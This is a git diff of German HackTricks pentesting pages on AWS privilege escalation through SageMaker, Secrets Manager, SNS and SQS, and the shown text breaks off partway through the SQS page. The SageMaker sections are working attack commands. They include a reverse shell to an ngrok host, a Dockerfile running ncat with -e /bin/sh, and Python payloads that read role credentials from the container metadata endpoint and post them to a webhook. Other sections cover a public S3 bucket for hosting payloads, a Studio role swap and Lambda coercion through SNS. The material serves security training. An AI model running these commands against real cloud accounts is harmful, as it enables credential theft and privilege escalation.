+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
deleted file mode 100644
index e518606fe..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
+++ /dev/null
@@ -1,106 +0,0 @@
-# AWS - Sagemaker Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## AWS - Sagemaker Privesc
-
-
-
-### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
-
-Beginnen Sie mit der Erstellung eines Notebooks mit der IAM-Rolle, die daran angehängt ist:
-```bash
-aws sagemaker create-notebook-instance --notebook-instance-name example \
---instance-type ml.t2.medium \
---role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
-```
-Die Antwort sollte ein Feld `NotebookInstanceArn` enthalten, das die ARN der neu erstellten Notizbuchinstanz enthält. Wir können dann die API `create-presigned-notebook-instance-url` verwenden, um eine URL zu generieren, die wir verwenden können, um auf die Notizbuchinstanz zuzugreifen, sobald sie bereit ist:
-```bash
-aws sagemaker create-presigned-notebook-instance-url \
---notebook-instance-name <name>
-```
-Navigieren Sie mit dem Browser zur URL und klicken Sie auf \`Open JupyterLab\`\` oben rechts, scrollen Sie dann zum Tab „Launcher“ und klicken Sie im Abschnitt „Other“ auf die Schaltfläche „Terminal“.
-
-Jetzt ist es möglich, auf die Metadatenanmeldeinformationen der IAM-Rolle zuzugreifen.
-
-**Potenzielle Auswirkungen:** Privesc auf die angegebene sagemaker-Dienstrolle.
-
-### `sagemaker:CreatePresignedNotebookInstanceUrl`
-
-Wenn bereits Jupyter **Notebooks darauf ausgeführt werden** und Sie sie mit `sagemaker:ListNotebookInstances` auflisten können (oder sie auf andere Weise entdecken). Sie können **eine URL für sie generieren, auf sie zugreifen und die Anmeldeinformationen stehlen, wie im vorherigen Verfahren angegeben**.
-```bash
-aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
-```
-**Potenzielle Auswirkungen:** Privesc auf die mit der Sagemaker-Service-Rolle verbundene Rolle.
-
-### `sagemaker:CreateProcessingJob,iam:PassRole`
-
-Ein Angreifer mit diesen Berechtigungen kann **sagemaker einen Processing-Job ausführen** lassen, der mit einer Sagemaker-Rolle verbunden ist. Der Angreifer kann die Definition des Containers angeben, der in einer **AWS verwalteten ECS-Kontoinstanz** ausgeführt wird, und **die Anmeldeinformationen der angehängten IAM-Rolle stehlen**.
-```bash
-# I uploaded a python docker image to the ECR
-aws sagemaker create-processing-job \
---processing-job-name privescjob \
---processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
---app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
---role-arn <sagemaker-arn-role>
-
-# In my tests it took 10min to receive the shell
-curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
-```
-**Potenzielle Auswirkungen:** Privesc auf die angegebene sagemaker-Service-Rolle.
-
-### `sagemaker:CreateTrainingJob`, `iam:PassRole`
-
-Ein Angreifer mit diesen Berechtigungen kann einen Trainingsjob erstellen, **einen beliebigen Container** darauf ausführen und eine **angehängte Rolle** verwenden. Daher wird der Angreifer in der Lage sein, die Anmeldeinformationen der Rolle zu stehlen.
-
-> [!WARNING]
-> Dieses Szenario ist schwieriger auszunutzen als das vorherige, da Sie ein Docker-Image erstellen müssen, das die Rev-Shell oder Anmeldeinformationen direkt an den Angreifer sendet (Sie können keinen Startbefehl in der Konfiguration des Trainingsjobs angeben).
->
-> ```bash
-> # Docker-Image erstellen
-> mkdir /tmp/rev
-> ## Beachten Sie, dass der Trainingsjob ein ausführbares Programm namens "train" aufrufen wird
-> ## Deshalb lege ich die Rev-Shell in /bin/train
-> ## Setzen Sie die Werte von <YOUR-IP-OR-DOMAIN> und <YOUR-PORT>
-> cat > /tmp/rev/Dockerfile <<EOF
-> FROM ubuntu
-> RUN apt update && apt install -y ncat curl
-> RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
-> RUN chmod +x /bin/train
-> CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
-> EOF
->
-> cd /tmp/rev
-> sudo docker build . -t reverseshell
->
-> # Hochladen zu ECR
-> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
-> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
-> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
-> ```
-```bash
-# Create trainning job with the docker image created
-aws sagemaker create-training-job \
---training-job-name privescjob \
---resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
---algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
---role-arn <role-arn> \
---output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
---stopping-condition '{"MaxRuntimeInSeconds": 600}'
-
-#To get the creds
-curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
-## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
-```
-**Potenzielle Auswirkungen:** Privesc auf die angegebene sagemaker-Dienstrolle.
-
-### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
-
-Ein Angreifer mit diesen Berechtigungen wird (potenziell) in der Lage sein, einen **Hyperparameter-Trainingsjob** zu erstellen, **einen beliebigen Container** darauf auszuführen und eine **angehängte Rolle** zu verwenden.\
-_Ich habe es aufgrund von Zeitmangel nicht ausgenutzt, aber es sieht ähnlich aus wie die vorherigen Exploits. Fühlen Sie sich frei, einen PR mit den Ausnutzungsdetails zu senden._
-
-## Referenzen
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md
new file mode 100644
index 000000000..67ee109bc
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md
@@ -0,0 +1,259 @@
+# AWS - Sagemaker Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## AWS - Sagemaker Privesc
+
+### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
+
+Beginne mit dem Erstellen einer Notebook-Instance und hänge die IAM Role an, um Zugriff zu erhalten:
+```bash
+aws sagemaker create-notebook-instance --notebook-instance-name example \
+--instance-type ml.t2.medium \
+--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
+```
+Die Antwort sollte ein Feld `NotebookInstanceArn` enthalten, das die ARN der neu erstellten Notebook-Instanz enthält. Anschließend können wir die API `create-presigned-notebook-instance-url` verwenden, um eine URL zu erzeugen, mit der wir auf die Notebook-Instanz zugreifen können, sobald sie bereit ist:
+```bash
+aws sagemaker create-presigned-notebook-instance-url \
+--notebook-instance-name <name>
+```
+Rufe die URL im Browser auf und klicke oben rechts auf `Open JupyterLab``. Scrolle dann zur Registerkarte “Launcher” und klicke im Abschnitt “Other” auf den Button “Terminal”.
+
+Nun ist es möglich, auf die metadata credentials der IAM Role zuzugreifen.
+
+**Potentielle Auswirkung:** Privesc auf die angegebene sagemaker service role.
+
+### `sagemaker:CreatePresignedNotebookInstanceUrl`
+
+Wenn darauf Jupyter **notebooks bereits laufen** und du sie mit `sagemaker:ListNotebookInstances` auflisten kannst (oder sie auf andere Weise entdeckst), kannst du **eine URL für sie generieren, darauf zugreifen und die credentials stehlen, wie in der vorherigen Technik beschrieben**.
+```bash
+aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
+```
+**Potentielle Auswirkungen:** Privesc to the sagemaker service role attached.
+
+### `sagemaker:CreateProcessingJob`, `iam:PassRole`
+
+Ein Angreifer mit diesen Berechtigungen kann dafür sorgen, dass **SageMaker einen processing job ausführt**, dem eine SageMaker-Rolle zugeordnet ist. Indem du einen der AWS Deep Learning Containers wiederverwendest, die bereits Python beinhalten (und den Job in derselben Region wie die URI ausführst), kannst du inline-Code ausführen, ohne eigene Images bauen zu müssen:
+```bash
+REGION=<region>
+ROLE_ARN=<sagemaker-arn-role>
+IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
+ENV='{"W":"https://example.com/webhook"}'
+
+aws sagemaker create-processing-job \
+--processing-job-name privescjob \
+--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
+--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
+--environment "$ENV" \
+--role-arn $ROLE_ARN
+
+# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
+```
+**Potential Impact:** Privesc auf die angegebene sagemaker Service-Rolle.
+
+### `sagemaker:CreateTrainingJob`, `iam:PassRole`
+
+Ein Angreifer mit diesen Berechtigungen kann einen Training-Job starten, der beliebigen Code mit der angegebenen Rolle ausführt. Mit einem offiziellen SageMaker-Container und indem man den entrypoint mit einem payload inline überschreibt, ist es nicht nötig, eigene Images zu bauen:
+```bash
+REGION=<region>
+ROLE_ARN=<sagemaker-role-to-abuse>
+IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
+ENV='{"W":"https://example.com/webhook"}'
+OUTPUT_S3=s3://<existing-bucket>/training-output/
+# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.
+
+aws sagemaker create-training-job \
+--training-job-name privesc-train \
+--role-arn $ROLE_ARN \
+--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
+--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
+--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
+--stopping-condition '{"MaxRuntimeInSeconds":600}' \
+--environment "$ENV"
+
+# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
+```
+**Mögliche Auswirkung:** Privesc auf die angegebene SageMaker-Service-Rolle.
+
+### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
+
+Ein Angreifer mit diesen Berechtigungen kann einen HyperParameter Tuning Job starten, der vom Angreifer kontrollierten Code unter der bereitgestellten Rolle ausführt. Script mode erfordert das Hosten des Payloads in S3, aber alle Schritte können über die CLI automatisiert werden:
+```bash
+REGION=<region>
+ROLE_ARN=<sagemaker-role-to-abuse>
+BUCKET=sm-hpo-privesc-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+
+# Allow public reads so any SageMaker role can pull the code
+aws s3api put-public-access-block \
+--bucket $BUCKET \
+--public-access-block-configuration '{
+"BlockPublicAcls": false,
+"IgnorePublicAcls": false,
+"BlockPublicPolicy": false,
+"RestrictPublicBuckets": false
+}'
+
+aws s3api put-bucket-policy --bucket $BUCKET --policy "{
+\"Version\": \"2012-10-17\",
+\"Statement\": [
+{
+\"Effect\": \"Allow\",
+\"Principal\": \"*\",
+\"Action\": \"s3:GetObject\",
+\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
+}
+]
+}"
+
+cat <<'EOF' > /tmp/train.py
+import os, time, urllib.request
+
+def main():
+meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
+if not meta:
+return
+creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
+req = urllib.request.Request(
+"https://example.com/webhook",
+data=creds,
+headers={"Content-Type": "application/json"}
+)
+urllib.request.urlopen(req)
+print("train:loss=0")
+time.sleep(300)
+
+if __name__ == "__main__":
+main()
+EOF
+
+cd /tmp
+tar -czf code.tar.gz train.py
+aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read
+
+echo "dummy" > /tmp/input.txt
+aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read
+
+IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
+CODE_S3=s3://$BUCKET/code/train-code.tar.gz
+TRAIN_INPUT_S3=s3://$BUCKET/input
+OUTPUT_S3=s3://$BUCKET/output
+# El rol necesita permisos ECR y escritura en el bucket.
+
+cat > /tmp/hpo-definition.json <<EOF
+{
+"AlgorithmSpecification": {
+"TrainingImage": "$IMAGE",
+"TrainingInputMode": "File",
+"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
+},
+"StaticHyperParameters": {
+"sagemaker_program": "train.py",
+"sagemaker_submit_directory": "$CODE_S3"
+},
+"RoleArn": "$ROLE_ARN",
+"InputDataConfig": [
+{
+"ChannelName": "training",
+"DataSource": {
+"S3DataSource": {
+"S3DataType": "S3Prefix",
+"S3Uri": "$TRAIN_INPUT_S3",
+"S3DataDistributionType": "FullyReplicated"
+}
+}
+}
+],
+"OutputDataConfig": {
+"S3OutputPath": "$OUTPUT_S3"
+},
+"ResourceConfig": {
+"InstanceType": "ml.m5.large",
+"InstanceCount": 1,
+"VolumeSizeInGB": 50
+},
+"StoppingCondition": {
+"MaxRuntimeInSeconds": 600
+}
+}
+EOF
+
+aws sagemaker create-hyper-parameter-tuning-job \
+--hyper-parameter-tuning-job-name privesc-hpo \
+--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
+--training-job-definition file:///tmp/hpo-definition.json
+```
+Jedes vom Prozess gestartete Training druckt die Metrik aus und exfiltriert die Anmeldeinformationen der angegebenen Rolle.
+
+### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio role swap (kein `iam:PassRole`)
+
+Priorität von ExecutionRole:
+
+- `UserProfile` überschreibt jeden Wert. Wenn ein Profil `ExecutionRole` definiert, verwendet Studio immer diese Rolle.
+- `Space` gilt nur, wenn das Profil keine eigene Rolle hat; ansonsten hat die Profilrolle Vorrang.
+- `Domain DefaultUserSettings` fungiert als letzter Ausweg, wenn weder Profil noch Space eine Rolle definieren.
+
+Mit Berechtigungen zum Aktualisieren eines SageMaker Studio User Profile (oder Space/Domain) kann ein Angreifer die `ExecutionRole` auf jede IAM-Rolle setzen, die der SageMaker-Service-Principal übernehmen kann. Im Gegensatz zu job-creation APIs benötigen die Studio-Profil-Update-APIs kein `iam:PassRole`. Neue Studio-Apps, die für dieses Profil gestartet werden, laufen mit der ausgetauschten Rolle und ermöglichen interaktive erhöhte Berechtigungen über Jupyter-Terminals oder Jobs, die aus Studio gestartet werden.
+
+Schritte:
+```bash
+# 1) List Studio user profiles and pick a target
+aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
+
+# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
+ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
+
+# 2) Update the Studio profile to use the new role (no iam:PassRole)
+aws sagemaker update-user-profile \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--user-settings ExecutionRole=$ROLE_ARN
+
+aws sagemaker describe-user-profile \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--query 'UserSettings.ExecutionRole' --output text
+
+# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level
+aws sagemaker update-space \
+--domain-id <DOMAIN_ID> \
+--space-name <SPACE> \
+--space-settings ExecutionRole=$ROLE_ARN
+
+aws sagemaker describe-space \
+--domain-id <DOMAIN_ID> \
+--space-name <SPACE> \
+--query 'SpaceSettings.ExecutionRole' --output text
+
+# 4) Optionally, change the domain default so every profile inherits the new role
+aws sagemaker update-domain \
+--domain-id <DOMAIN_ID> \
+--default-user-settings ExecutionRole=$ROLE_ARN
+
+aws sagemaker describe-domain \
+--domain-id <DOMAIN_ID> \
+--query 'DefaultUserSettings.ExecutionRole' --output text
+
+# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role
+aws sagemaker create-app \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--app-type JupyterServer \
+--app-name js-atk
+
+# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run:
+#    aws sts get-caller-identity  # should reflect the new ExecutionRole
+aws sagemaker create-presigned-domain-url \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--query AuthorizedUrl --output text
+```
+**Mögliche Auswirkungen**: Privilege escalation auf die Berechtigungen der angegebenen SageMaker execution role für interaktive Studio-Sitzungen.
+
+
+## Referenzen
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
+
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md
similarity index 50%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md
index 9f38a607a..d36044377 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md
@@ -1,29 +1,29 @@
 # AWS - Secrets Manager Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Secrets Manager
 
-Für weitere Informationen über Secrets Manager siehe:
+Für mehr Informationen über Secrets Manager siehe:
 
 {{#ref}}
-../aws-services/aws-secrets-manager-enum.md
+../../aws-services/aws-secrets-manager-enum.md
 {{#endref}}
 
 ### `secretsmanager:GetSecretValue`
 
-Ein attacker mit dieser Berechtigung kann den **gespeicherten Wert in einem Secret** in AWS **Secretsmanager** abrufen.
+Ein attacker mit dieser Berechtigung kann den **gespeicherten Wert in einem secret** in AWS **Secretsmanager** abrufen.
 ```bash
 aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
 ```
-**Mögliche Auswirkung:** Zugriff auf hochsensible Daten im AWS Secrets Manager.
+**Potenzielle Auswirkung:** Zugriff auf hochsensible Daten im AWS Secrets Manager.
 
 > [!WARNING]
-> Beachte, dass selbst mit der Berechtigung `secretsmanager:BatchGetSecretValue` ein Angreifer außerdem `secretsmanager:GetSecretValue` benötigt, um die sensiblen Secrets abzurufen.
+> Beachte, dass selbst mit der Berechtigung `secretsmanager:BatchGetSecretValue` ein Angreifer zusätzlich `secretsmanager:GetSecretValue` benötigt, um die sensiblen Secrets abzurufen.
 
 ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
 
-Mit den vorherigen Berechtigungen ist es möglich, **anderen principals/accounts (auch externen) Zugriff zu gewähren**, um auf das **secret** zuzugreifen. Beachte, dass zum **Lesen von mit einem KMS-Key verschlüsselten Secrets** der Benutzer außerdem **Zugriff auf den KMS-Key** benötigt (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)).
+Mit den vorherigen Berechtigungen ist es möglich, **anderen Principals/Accounts (auch externen) Zugriff zu gewähren**, um auf das **secret** zuzugreifen. Beachte, dass ein Benutzer, um **verschlüsselte secrets zu lesen**, die mit einem KMS key verschlüsselt sind, außerdem **Zugriff auf den KMS key** benötigt (mehr Infos auf der [KMS Enum page](../../aws-services/aws-kms-enum.md)).
 ```bash
 aws secretsmanager list-secrets
 aws secretsmanager get-resource-policy --secret-id <secret_name>
@@ -45,4 +45,4 @@ policy.json:
 ]
 }
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
deleted file mode 100644
index d2d2450f2..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - SNS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### `sns:Publish`
-
-Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an das SNS-Thema senden, was potenziell zu Datenkorruption, ungewollten Aktionen oder Ressourcenerschöpfung führen könnte.
-```bash
-aws sns publish --topic-arn <value> --message <value>
-```
-**Potenzielle Auswirkungen**: Ausnutzung von Schwachstellen, Datenkorruption, unbeabsichtigte Aktionen oder Ressourcenerschöpfung.
-
-### `sns:Subscribe`
-
-Ein Angreifer könnte sich für ein SNS-Thema anmelden und dadurch möglicherweise unbefugten Zugriff auf Nachrichten erlangen oder die normale Funktionsweise von Anwendungen, die auf das Thema angewiesen sind, stören.
-```bash
-aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
-```
-**Potenzielle Auswirkungen**: Unbefugter Zugriff auf Nachrichten (sensible Informationen), Dienstunterbrechung für Anwendungen, die auf das betroffene Thema angewiesen sind.
-
-### `sns:AddPermission`
-
-Ein Angreifer könnte unbefugten Benutzern oder Diensten Zugriff auf ein SNS-Thema gewähren, was möglicherweise zu weiteren Berechtigungen führt.
-```css
-aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
-```
-**Potenzielle Auswirkungen**: Unbefugter Zugriff auf das Thema, Nachrichtenexposition oder Themenmanipulation durch unbefugte Benutzer oder Dienste, Störung der normalen Funktion für Anwendungen, die auf das Thema angewiesen sind.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md
new file mode 100644
index 000000000..a450e063b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md
@@ -0,0 +1,80 @@
+# AWS - SNS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### `sns:Publish`
+
+Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an das SNS topic senden, was potenziell zu Datenkorruption, dem Auslösen unbeabsichtigter Aktionen oder zur Erschöpfung von Ressourcen führen kann.
+```bash
+aws sns publish --topic-arn <value> --message <value>
+```
+**Mögliche Auswirkungen**: Ausnutzung von Schwachstellen, Datenkorruption, unbeabsichtigte Aktionen oder Ressourcenerschöpfung.
+
+### `sns:Subscribe`
+
+Ein Angreifer könnte ein SNS topic abonnieren und dadurch möglicherweise unautorisierten Zugriff auf Nachrichten erlangen oder die normale Funktion von Anwendungen, die auf das Topic angewiesen sind, stören.
+```bash
+aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
+```
+**Potentielle Auswirkungen**: Unbefugter Zugriff auf Nachrichten (sensible Informationen), Dienstunterbrechung für Anwendungen, die von dem betroffenen Topic abhängen.
+
+### `sns:AddPermission`
+
+Ein Angreifer könnte unbefugten Benutzern oder Diensten Zugriff auf ein SNS-Topic gewähren und dadurch möglicherweise weitere Berechtigungen erlangen.
+```bash
+aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
+```
+**Potentielle Auswirkungen**: Unbefugter Zugriff auf das Topic, Offenlegung von Nachrichten oder Manipulation des Topic durch unbefugte Benutzer oder Dienste, Störung des normalen Betriebs für Anwendungen, die auf das Topic angewiesen sind.
+
+
+### Lambda aufrufen, indem wildcard SNS-Berechtigung missbraucht wird (kein `SourceArn`)
+
+Wenn eine resource-basierte Policy einer Lambda-Funktion `sns.amazonaws.com` erlaubt, sie aufzurufen, ohne das Quell-Topic (`SourceArn`) einzuschränken, kann sich jedes SNS topic (auch in einem anderen Account) abonnieren und die Funktion auslösen. Ein Angreifer mit grundlegenden SNS-Berechtigungen kann die Lambda dazu zwingen, unter ihrer IAM-Rolle mit vom Angreifer kontrolliertem Input auszuführen.
+
+> [!TIP]
+> TODO: Kann das wirklich kontoübergreifend durchgeführt werden?
+
+Voraussetzungen
+- Die Policy der Opfer-Lambda enthält eine Aussage wie unten, ohne `SourceArn`-Bedingung:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {"Service": "sns.amazonaws.com"},
+"Action": "lambda:InvokeFunction"
+// No Condition/SourceArn restriction here
+}
+]
+}
+```
+Missbrauchsschritte (im selben oder kontoübergreifend)
+```bash
+# 1) Create a topic you control
+ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
+
+# 2) Subscribe the victim Lambda to your topic
+aws sns subscribe \
+--region us-east-1 \
+--topic-arn "$ATTACKER_TOPIC_ARN" \
+--protocol lambda \
+--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
+
+# 3) Publish an attacker-controlled message to trigger the Lambda
+aws sns publish \
+--region us-east-1 \
+--topic-arn "$ATTACKER_TOPIC_ARN" \
+--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
+```
+**Mögliche Auswirkungen**: Die betroffene Lambda-Funktion läuft mit ihrer IAM-Rolle und verarbeitet vom Angreifer kontrollierte Eingaben. Dies kann missbraucht werden, um die Funktion dazu zu bringen, sensible Aktionen durchzuführen (z. B. in S3 zu schreiben, auf secrets zuzugreifen, Ressourcen zu ändern), abhängig von ihren Berechtigungen.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
deleted file mode 100644
index 235abafca..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
+++ /dev/null
@@ -1,40 +0,0 @@
-# AWS - SQS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### `sqs:AddPermission`
-
-Ein Angreifer könnte diese Berechtigung nutzen, um unbefugten Benutzern oder Diensten Zugriff auf eine SQS-Warteschlange zu gewähren, indem er neue Richtlinien erstellt oder bestehende Richtlinien ändert. Dies könnte zu unbefugtem Zugriff auf die Nachrichten in der Warteschlange oder zur Manipulation der Warteschlange durch unbefugte Entitäten führen.
-```bash
-cssCopy codeaws sqs add-permission --queue-url <value> --actions <value> --aws-account-ids <value> --label <value>
-```
-**Potenzielle Auswirkungen**: Unbefugter Zugriff auf die Warteschlange, Nachrichtenexposition oder Warteschlangenmanipulation durch unbefugte Benutzer oder Dienste.
-
-### `sqs:SendMessage`, `sqs:SendMessageBatch`
-
-Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an die SQS-Warteschlange senden, was potenziell zu Datenkorruption, Auslösen unbeabsichtigter Aktionen oder Erschöpfung von Ressourcen führen könnte.
-```bash
-aws sqs send-message --queue-url <value> --message-body <value>
-aws sqs send-message-batch --queue-url <value> --entries <value>
-```
-**Potenzielle Auswirkungen**: Ausnutzung von Schwachstellen, Datenkorruption, unbeabsichtigte Aktionen oder Ressourcenerschöpfung.
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-Ein Angreifer könnte Nachrichten in einer SQS-Warteschlange empfangen, löschen oder die Sichtbarkeit von Nachrichten ändern, was zu Nachrichtenverlust, Datenkorruption oder Dienstunterbrechungen für Anwendungen führen kann, die auf diese Nachrichten angewiesen sind.
-```bash
-aws sqs receive-message --queue-url <value>
-aws sqs delete-message --queue-url <value> --receipt-handle <value>
